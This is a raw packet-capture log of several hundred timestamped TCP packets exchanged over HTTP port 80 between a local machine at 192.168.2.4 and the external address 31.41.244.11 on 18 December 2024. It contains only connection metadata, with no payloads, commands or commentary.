Dec 18, 2024 17:08:21.506309986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.506417036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.506473064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.507282019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.507352114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.507430077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.507486105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.508300066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.508359909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.508408070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.508466959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.509352922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.509413958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.509485960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.509541035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.510504961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.510565996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.510643005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.510696888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.511528015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.511588097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.511661053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.511717081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.512630939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.512696981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.512744904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.512840033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.513748884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.513809919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.513850927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.513906956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.514931917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.514995098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.515044928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.515101910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.515954971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.516016960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.516063929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.516123056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.517045021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.517102957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.517143965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.517227888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.518110991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.518177032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.518223047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.518273115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.519202948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.519262075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.519376993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.519428015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.520445108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.520538092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.520606995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.520652056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.521442890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.521514893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.521569014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.521624088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.522456884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.522511959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.522586107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.522650957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.523611069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.523674011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.523724079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.523773909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.524760008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.524827003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.524859905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.524918079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.525765896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.525826931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.525918007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.525973082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.526855946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.526916027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.526962996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.527018070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.527954102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.528012991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.528059006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.528115034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.529166937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.529225111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.529273987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.529359102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.530128956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.530190945 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.530232906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.530287981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.531234980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.531294107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.531347036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.531404972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.532516956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.532582998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.532633066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.532687902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.533696890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.533770084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.533782005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.533837080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.534609079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.534696102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.534729958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.534782887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.535608053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.535667896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.535758972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.535809040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.536808014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.536866903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.537045956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.537101984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.537969112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.538017035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.538085938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.538141012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.538892031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.538954020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.539196014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.539252996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.540203094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.540268898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.540302038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.540383101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.541193962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.541249037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.541290998 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.541343927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.542176962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.542236090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.542330027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.542685032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.543277025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.543351889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.543468952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.543528080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.544370890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.544436932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.544446945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.544498920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.545756102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.545821905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.546005964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.546060085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.681304932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.681382895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.681432962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.681562901 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.681914091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.681966066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.681976080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.682035923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.682660103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.682723045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.682806969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.682871103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.683773041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.683835030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.683895111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.683954000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.684824944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.684919119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.684976101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.685040951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.685964108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.686026096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.686099052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.686157942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.687031031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.687093973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.687176943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.687239885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.688148975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.688215017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.688286066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.688359976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.689354897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.689419985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.689505100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.689564943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.690470934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.690551043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.690593004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.690642118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.691459894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.691518068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.691554070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.691606045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.692497969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.692557096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.692605972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.692657948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.693577051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.693631887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.693767071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.693835020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.694683075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.694740057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.694781065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.694833994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.695835114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.695894957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.695935965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.695986032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.696854115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.696909904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.696997881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.697052002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.697959900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.698016882 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.698057890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.698112011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.699067116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.699129105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.699177980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.699229956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.700203896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.700263023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.700304985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.700397968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.701255083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.701323986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.701339006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.701389074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.702326059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.702387094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.702477932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.702534914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.703453064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.703514099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.703593016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.703644037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.704622030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.704679012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.704768896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.704822063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.705744028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.705806017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.705919981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.705965996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.706696033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.706752062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.706840992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.706893921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.707809925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.707870007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.707932949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.707984924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.708878994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.708935976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.709002018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.709054947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.709980011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.710033894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.710109949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.710161924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.711184978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.711239100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.711329937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.711384058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.712335110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.712388992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.712496996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.712549925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.713355064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.713409901 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.713453054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.713515997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.714634895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.714706898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.714757919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.714813948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.715466022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.715521097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.715557098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.715606928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.716533899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.716588974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.716727018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.716793060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.717628002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.717693090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.717767954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.717818975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.718955040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.719007015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.719109058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.719168901 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.720288992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.720350027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.720392942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.720443010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.721535921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.721594095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.721628904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.721678972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.722626925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.722681046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.722681046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.722729921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.723675013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.723733902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.723762035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.723812103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.724648952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.724706888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.724853992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.724908113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.725826025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.725883961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.725903034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.725953102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.726711988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.726779938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.726871967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.726924896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.727782011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.727839947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.727883101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.727933884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.728715897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.728777885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.728818893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.728869915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.729645967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.729700089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.729815960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.729880095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.730726957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.730777025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.730863094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.730914116 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.732028961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.732076883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.732212067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.732266903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.733211040 CET	80	49771	31.41.244.11	192.168.2.4
